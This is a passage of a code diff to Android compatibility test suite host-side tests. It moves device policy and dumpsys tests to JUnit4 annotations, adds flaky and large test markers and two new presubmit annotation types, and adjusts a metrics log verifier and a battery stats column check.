--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
@@ -16,13 +16,8 @@
 
 package com.android.cts.devicepolicy;
 
-import android.platform.test.annotations.RequiresDevice;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import junit.framework.AssertionFailedError;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 /**
  * Set of tests for device owner use cases that also apply to profile owners.
@@ -31,7 +26,7 @@
 public class MixedDeviceOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         if (mHasFeature) {
@@ -49,7 +44,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove device owner",
                     removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index b3b48b4..f367e16 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -16,8 +16,15 @@
 
 package com.android.cts.devicepolicy;
 
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.cts.devicepolicy.annotations.LockSettingsTest;
+import com.android.cts.devicepolicy.annotations.PermissionsTest;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
+import org.junit.Test;
+
 /**
  * Set of tests for managed profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
@@ -30,7 +37,7 @@
     private int mParentUserId = -1;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         // We need managed users to be supported in order to create a profile of the user owner.
@@ -54,7 +61,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             removeUser(mUserId);
         }
@@ -67,6 +74,8 @@
      * Verify that screenshots are still possible for activities in the primary user when the policy
      * is set on the profile owner.
      */
+    @LargeTest
+    @Test
     public void testScreenCaptureDisabled_allowedPrimaryUser() throws Exception {
         if (!mHasFeature) {
             return;
@@ -80,6 +89,8 @@
         executeDeviceTestMethod(".ScreenCaptureDisabledTest", "testScreenCapturePossible");
     }
 
+    @FlakyTest
+    @Test
     public void testScreenCaptureDisabled_assist_allowedPrimaryUser() throws Exception {
         if (!mHasFeature) {
             return;
@@ -111,53 +122,65 @@
     }
 
     @Override
+    @Test
     public void testDisallowSetWallpaper_allowed() throws Exception {
         // Managed profile doesn't have wallpaper.
     }
 
     @Override
+    @Test
     public void testAudioRestriction() throws Exception {
         // DISALLOW_UNMUTE_MICROPHONE and DISALLOW_ADJUST_VOLUME can only be set by device owners
         // and profile owners on the primary user.
     }
 
     /** VPN tests don't require physical device for managed profile, thus overriding. */
+    @FlakyTest
     @Override
+    @Test
     public void testAlwaysOnVpn() throws Exception {
         super.testAlwaysOnVpn();
     }
 
     /** VPN tests don't require physical device for managed profile, thus overriding. */
     @Override
+    @Test
     public void testAlwaysOnVpnLockDown() throws Exception {
         super.testAlwaysOnVpnLockDown();
     }
 
     /** VPN tests don't require physical device for managed profile, thus overriding. */
     @Override
+    @LargeTest
+    @Test
     public void testAlwaysOnVpnAcrossReboot() throws Exception {
         super.testAlwaysOnVpnAcrossReboot();
     }
 
     /** VPN tests don't require physical device for managed profile, thus overriding. */
     @Override
+    @Test
     public void testAlwaysOnVpnPackageUninstalled() throws Exception {
         super.testAlwaysOnVpnPackageUninstalled();
     }
 
     /** VPN tests don't require physical device for managed profile, thus overriding. */
     @Override
+    @Test
     public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
         super.testAlwaysOnVpnUnsupportedPackage();
     }
 
     /** VPN tests don't require physical device for managed profile, thus overriding. */
     @Override
+    @Test
     public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
         super.testAlwaysOnVpnUnsupportedPackageReplaced();
     }
 
     @Override
+    @LockSettingsTest
+    @Test
     public void testResetPasswordWithToken() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -169,10 +192,12 @@
     }
 
     @Override
+    @Test
     public void testSetSystemSetting() {
         // Managed profile owner cannot set currently whitelisted system settings.
     }
 
+    @Test
     public void testCannotClearProfileOwner() throws Exception {
         if (!mHasFeature) {
             return;
@@ -187,6 +212,7 @@
 
     }
 
+    @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         if (!mHasFeature) {
             return;
@@ -204,6 +230,7 @@
                     "testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId);
         });
     }
+    @Test
     public void testDeviceIdAttestationForProfileOwner() throws Exception {
         if (!mHasFeature) {
             return;
@@ -220,32 +247,118 @@
                 "testSucceedsWithProfileOwnerIdsGrant", mUserId);
     }
 
+    @FlakyTest
     @Override
+    @Test
+    public void testCaCertManagement() throws Exception {
+        super.testCaCertManagement();
+    }
+
+    @FlakyTest
+    @Override
+    @Test
+    public void testDelegatedCertInstaller() throws Exception {
+        super.testDelegatedCertInstaller();
+    }
+
+    @FlakyTest
+    @Override
+    @Test
+    public void testPackageInstallUserRestrictions() throws Exception {
+        super.testPackageInstallUserRestrictions();
+    }
+
+    @Override
+    @FlakyTest
+    @PermissionsTest
+    @Test
+    public void testPermissionGrant() throws Exception {
+        super.testPermissionGrant();
+    }
+
+    @Override
+    @FlakyTest
+    @PermissionsTest
+    @Test
+    public void testPermissionMixedPolicies() throws Exception {
+        super.testPermissionMixedPolicies();
+    }
+
+    @FlakyTest
+    @Override
+    @Test
+    public void testScreenCaptureDisabled_assist() throws Exception {
+        super.testScreenCaptureDisabled_assist();
+    }
+
+    @Override
+    @PermissionsTest
+    @Test
+    public void testPermissionPolicy() throws Exception {
+        super.testPermissionPolicy();
+    }
+
+    @FlakyTest
+    @Override
+    @Test
+    public void testSetMeteredDataDisabledPackages() throws Exception {
+        super.testSetMeteredDataDisabledPackages();
+    }
+
+    @Override
+    @PermissionsTest
+    @Test
+    public void testPermissionAppUpdate() throws Exception {
+        super.testPermissionAppUpdate();
+    }
+
+    @Override
+    @PermissionsTest
+    @Test
+    public void testPermissionGrantPreMApp() throws Exception {
+        super.testPermissionGrantPreMApp();
+    }
+
+    @Override
+    @PermissionsTest
+    @Test
+    public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
+            throws Exception {
+        super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
+    }
+
+    @Override
+    @Test
     public void testLockTask() {
         // Managed profiles are not allowed to use lock task
     }
 
     @Override
+    @Test
     public void testLockTaskAfterReboot() {
         // Managed profiles are not allowed to use lock task
     }
 
     @Override
+    @Test
     public void testLockTaskAfterReboot_tryOpeningSettings() {
         // Managed profiles are not allowed to use lock task
     }
 
     @Override
+    @Test
     public void testLockTask_defaultDialer() {
         // Managed profiles are not allowed to use lock task
     }
 
     @Override
+    @Test
     public void testLockTask_emergencyDialer() {
         // Managed profiles are not allowed to use lock task
     }
 
     @Override
+    @Test
     public void testLockTask_exitIfNoLongerWhitelisted() {
         // Managed profiles are not allowed to use lock task
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index 7623b48..30b7faf 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -16,6 +16,13 @@
 
 package com.android.cts.devicepolicy;
 
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.cts.devicepolicy.annotations.PermissionsTest;
+
+import org.junit.Test;
+
 /**
  * Set of tests for managed profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
@@ -25,7 +32,7 @@
     private int mParentUserId = -1;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         // We need managed users to be supported in order to create a profile of the user owner.
@@ -49,7 +56,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             removeUser(mUserId);
         }
@@ -61,6 +68,7 @@
      * but cannot remove it.
      */
     @Override
+    @Test
     public void testResetPassword() throws Exception {
         if (!mHasFeature || !mHasSecureLockScreen) {
             return;
@@ -74,6 +82,9 @@
      *  unlocked, and cannot remove the password even when FBE is unlocked.
      */
     @Override
+    @LargeTest
+    @FlakyTest(bugId = 141161690)
+    @Test
     public void testResetPasswordFbe() throws Exception {
         if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
             return;
@@ -94,4 +105,11 @@
         executeDeviceTestMethod(FBE_HELPER_CLASS, "testUnlockFbe");
         executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPasswordManagedProfile");
     }
+
+    @Override
+    @PermissionsTest
+    @Test
+    public void testPermissionGrantPreMApp() throws Exception {
+        super.testPermissionGrantPreMApp();
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
index ca081fc..5da7a07 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
@@ -26,7 +26,7 @@
         DeviceAndProfileOwnerHostSideTransferTest {
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         // We need managed users to be supported in order to create a profile of the user owner.
         mHasFeature &= hasDeviceFeature("android.software.managed_users");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index e1d50bd..d2e8385 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -16,6 +16,14 @@
 
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import org.junit.Test;
+
 /**
  * Set of tests for pure (non-managed) profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
@@ -23,7 +31,7 @@
 public class MixedProfileOwnerTest extends DeviceAndProfileOwnerTest {
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         if (mHasFeature) {
@@ -41,11 +49,53 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove profile owner.",
                     removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
         }
         super.tearDown();
     }
+
+    @Override
+    @FlakyTest
+    @Test
+    public void testCaCertManagement() throws Exception {
+        super.testCaCertManagement();
+    }
+
+    @Override
+    @FlakyTest
+    @Test
+    public void testInstallCaCertLogged() throws Exception {
+        super.testInstallCaCertLogged();
+    }
+
+    @Override
+    @LargeTest
+    @Test
+    public void testPackageInstallUserRestrictions() throws Exception {
+        super.testPackageInstallUserRestrictions();
+    }
+
+    @Override
+    @FlakyTest(bugId = 140932104)
+    @Test
+    public void testLockTaskAfterReboot() throws Exception {
+        super.testLockTaskAfterReboot();
+    }
+
+    @Override
+    @FlakyTest(bugId = 140932104)
+    @Test
+    public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
+        super.testLockTaskAfterReboot_tryOpeningSettings();
+    }
+
+    @Override
+    @FlakyTest(bugId = 140932104)
+    @Test
+    public void testLockTask_exitIfNoLongerWhitelisted() throws Exception {
+        super.testLockTask_exitIfNoLongerWhitelisted();
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
index 0dcb82a..b186c20 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 /**
  * Set of tests for pure (non-managed) profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
@@ -23,7 +26,7 @@
 public class MixedProfileOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         if (mHasFeature) {
@@ -41,7 +44,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove profile owner.",
                     removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
index 26dc5a3..43dde5b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
@@ -2,10 +2,14 @@
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
 
+import static org.junit.Assert.fail;
+
 import android.stats.devicepolicy.EventId;
 
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 
+import org.junit.Test;
+
 /** Host-side tests to run the CtsPasswordComplexity device-side tests. */
 public class PasswordComplexityTest extends BaseDevicePolicyTest {
 
@@ -16,7 +20,7 @@
     private int mCurrentUserId;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         if (!mHasSecureLockScreen) {
@@ -33,7 +37,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasSecureLockScreen) {
             getDevice().uninstallPackage(PKG);
         }
@@ -41,6 +45,7 @@
         super.tearDown();
     }
 
+    @Test
     public void testGetPasswordComplexity() throws Exception {
         if (!mHasSecureLockScreen) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index 0b5cdef..38bcc86 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -15,6 +15,11 @@
  */
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import org.junit.Test;
+
 /**
  * Host side tests for profile owner.  Run the CtsProfileOwnerApp device side test.
  */
@@ -29,7 +34,7 @@
     private int mUserId = 0;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         mUserId = getPrimaryUser();
@@ -47,6 +52,7 @@
         }
     }
 
+    @Test
     public void testWifi() throws Exception {
         if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
             return;
@@ -54,6 +60,7 @@
         executeProfileOwnerTest("WifiTest");
     }
 
+    @Test
     public void testManagement() throws Exception {
         if (!mHasFeature) {
             return;
@@ -61,6 +68,7 @@
         executeProfileOwnerTest("ManagementTest");
     }
 
+    @Test
     public void testAdminActionBookkeeping() throws Exception {
         if (!mHasFeature) {
             return;
@@ -68,6 +76,7 @@
         executeProfileOwnerTest("AdminActionBookkeepingTest");
     }
 
+    @Test
     public void testAppUsageObserver() throws Exception {
         if (!mHasFeature) {
             return;
@@ -75,6 +84,7 @@
         executeProfileOwnerTest("AppUsageObserverTest");
     }
 
+    @Test
     public void testBackupServiceEnabling() throws Exception {
         final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
         // The backup service cannot be enabled if the backup feature is not supported.
@@ -85,7 +95,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove profile owner.",
                     removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
index 26aa643..1132650 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
@@ -16,6 +16,11 @@
 
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import org.junit.Test;
+
 /**
  * To verify PO APIs targeting API level 23.
  */
@@ -27,7 +32,7 @@
     private int mUserId;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         if (mHasFeature) {
@@ -45,7 +50,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove profile owner.",
                     removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
@@ -54,6 +59,7 @@
         super.tearDown();
     }
 
+    @Test
     public void testDelegatedCertInstaller() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index fd9a0d6..f819569 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -1,5 +1,9 @@
 package com.android.cts.devicepolicy;
 
+import android.platform.test.annotations.LargeTest;
+
+import org.junit.Test;
+
 import java.util.HashMap;
 import java.util.Map;
 
@@ -21,7 +25,7 @@
     private String mOriginalLauncher;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         mHasFeature = mHasFeature & hasDeviceFeature("android.software.managed_users");
@@ -41,7 +45,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             getDevice().uninstallPackage(TEST_PACKAGE);
             getDevice().uninstallPackage(TEST_LAUNCHER_PACKAGE);
@@ -49,6 +53,8 @@
         super.tearDown();
     }
 
+    @LargeTest
+    @Test
     public void testQuietMode_defaultForegroundLauncher() throws Exception {
         if (!mHasFeature) {
           return;
@@ -61,6 +67,8 @@
                 createParams(mProfileId));
     }
 
+    @LargeTest
+    @Test
     public void testQuietMode_notForegroundLauncher() throws Exception {
         if (!mHasFeature) {
             return;
@@ -73,6 +81,8 @@
             createParams(mProfileId));
     }
 
+    @LargeTest
+    @Test
     public void testQuietMode_notDefaultLauncher() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
index fdf063ea..2a5c117 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
@@ -15,8 +15,14 @@
  */
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.FlakyTest;
+
 import com.android.tradefed.device.DeviceNotAvailableException;
 
+import org.junit.Test;
+
 import javax.annotation.Nonnull;
 import javax.annotation.Nullable;
 
@@ -42,7 +48,7 @@
     private boolean mHasManagedUserFeature;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
@@ -51,7 +57,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             if (mRemoveOwnerInTearDown) {
                 assertTrue("Failed to clear owner",
@@ -78,6 +84,7 @@
         runTests(className, null, userId);
     }
 
+    @Test
     public void testUserRestrictions_deviceOwnerOnly() throws Exception {
         if (!mHasFeature) {
             return;
@@ -92,6 +99,7 @@
                 "testBroadcast", mDeviceOwnerUserId);
     }
 
+    @Test
     public void testUserRestrictions_primaryProfileOwnerOnly() throws Exception {
         if (!mHasFeature) {
             return;
@@ -112,6 +120,7 @@
     }
 
     // Checks restrictions for managed user (NOT managed profile).
+    @Test
     public void testUserRestrictions_secondaryProfileOwnerOnly() throws Exception {
         if (!mHasFeature || !mSupportsMultiUser) {
             return;
@@ -128,6 +137,8 @@
     }
 
     // Checks restrictions for managed profile.
+    @FlakyTest
+    @Test
     public void testUserRestrictions_managedProfileOwnerOnly() throws Exception {
         if (!mHasFeature || !mSupportsMultiUser || !mHasManagedUserFeature) {
             return;
@@ -150,6 +161,8 @@
     /**
      * DO + PO combination.  Make sure global DO restrictions are visible on secondary users.
      */
+    @FlakyTest
+    @Test
     public void testUserRestrictions_layering() throws Exception {
         if (!mHasFeature || !mSupportsMultiUser) {
             return;
@@ -188,6 +201,7 @@
     /**
      * PO on user-0.  It can set DO restrictions too, but they shouldn't leak to other users.
      */
+    @Test
     public void testUserRestrictions_layering_profileOwnerNoLeaking() throws Exception {
         if (!mHasFeature || !mSupportsMultiUser) {
             return;
@@ -216,6 +230,8 @@
      * DO sets profile global restrictions (only ENSURE_VERIFY_APPS), should affect all
      * users (not a particularly special case but to be sure).
      */
+    @FlakyTest
+    @Test
     public void testUserRestrictions_profileGlobalRestrictionsAsDo() throws Exception {
         if (!mHasFeature || !mSupportsMultiUser) {
             return;
@@ -236,6 +252,8 @@
      * Managed profile owner sets profile global restrictions (only ENSURE_VERIFY_APPS), should
      * affect all users.
      */
+    @FlakyTest
+    @Test
     public void testUserRestrictions_ProfileGlobalRestrictionsAsPo() throws Exception {
         if (!mHasFeature || !mSupportsMultiUser || !mHasManagedUserFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/LockSettingsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/LockSettingsTest.java
new file mode 100644
index 0000000..413df07
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/LockSettingsTest.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Denotes that a test depends on screenlock functionality (e.g. setting user password, unlocking
+ * the user, etc.) and should be run in presubmit when changes are made to the relevant code.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface LockSettingsTest {}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/PermissionsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/PermissionsTest.java
new file mode 100644
index 0000000..04a8351
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/annotations/PermissionsTest.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Denotes that a test depends on permissions functionality and should be run in presubmit when
+ * permissions code changes are made.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface PermissionsTest {}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
index 264bd08..16e9e7f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
@@ -19,6 +19,7 @@
 
 import com.android.os.AtomsProto.Atom;
 import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import java.util.ArrayList;
 import java.util.List;
@@ -37,12 +38,14 @@
 
     /**
      * Asserts that <code>expectedLogs</code> were logged as a result of executing
-     * <code>action</code>, in the same order.
+     * <code>action</code>, in the same order. Note that {@link Action#apply() } is always
+     * invoked on the <code>action</code> parameter, even if statsd logs are disabled.
      */
     public static void assertMetricsLogged(ITestDevice device, Action action,
             DevicePolicyEventWrapper... expectedLogs) throws Exception {
         final AtomMetricTester logVerifier = new AtomMetricTester(device);
         if (logVerifier.isStatsdDisabled()) {
+            action.apply();
             return;
         }
         try {
@@ -61,6 +64,11 @@
         }
     }
 
+    public static boolean isStatsdEnabled(ITestDevice device) throws DeviceNotAvailableException {
+        final AtomMetricTester logVerifier = new AtomMetricTester(device);
+        return !logVerifier.isStatsdDisabled();
+    }
+
     private static void assertExpectedMetricLogged(List<EventMetricData> data,
             DevicePolicyEventWrapper expectedLog) {
         final List<DevicePolicyEventWrapper> closestMatches = new ArrayList<>();
diff --git a/hostsidetests/dumpsys/Android.bp b/hostsidetests/dumpsys/Android.bp
index cdcd366..d26c8c4 100644
--- a/hostsidetests/dumpsys/Android.bp
+++ b/hostsidetests/dumpsys/Android.bp
@@ -20,6 +20,7 @@
     libs: [
         "cts-tradefed",
         "tradefed",
+        "truth-prebuilt",
     ],
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 5aaef193..6c651e2 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -16,6 +16,8 @@
 
 package android.dumpsys.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.log.LogUtil.CLog;
 
@@ -360,13 +362,16 @@
     }
 
     private void checkJobCompletion(String[] parts) {
-        assertEquals(10, parts.length);
+        // This line contains a number for each job cancel reason.
+        // (See JobParameters.JOB_STOP_REASON_CODES), and future mainline updates may introudce
+        // more codes, so we have no upper bound for the number of columns.
+        assertThat(parts.length).isAtLeast(11);
         assertNotNull(parts[4]); // job
-        assertInteger(parts[5]); // reason_canceled
-        assertInteger(parts[6]); // reason_constraints_not_satisfied
-        assertInteger(parts[7]); // reason_preempt
-        assertInteger(parts[8]); // reason_timeout
-        assertInteger(parts[9]); // reason_device_idle
+
+        // Values for each of JOB_STOP_REASON_CODES.
+        for (int i = 5; i < parts.length; i++) {
+            assertInteger(parts[i]);
+        }
     }
 
     private void checkJobsDeferred(String[] parts) {
@@ -575,7 +580,7 @@
     }
 
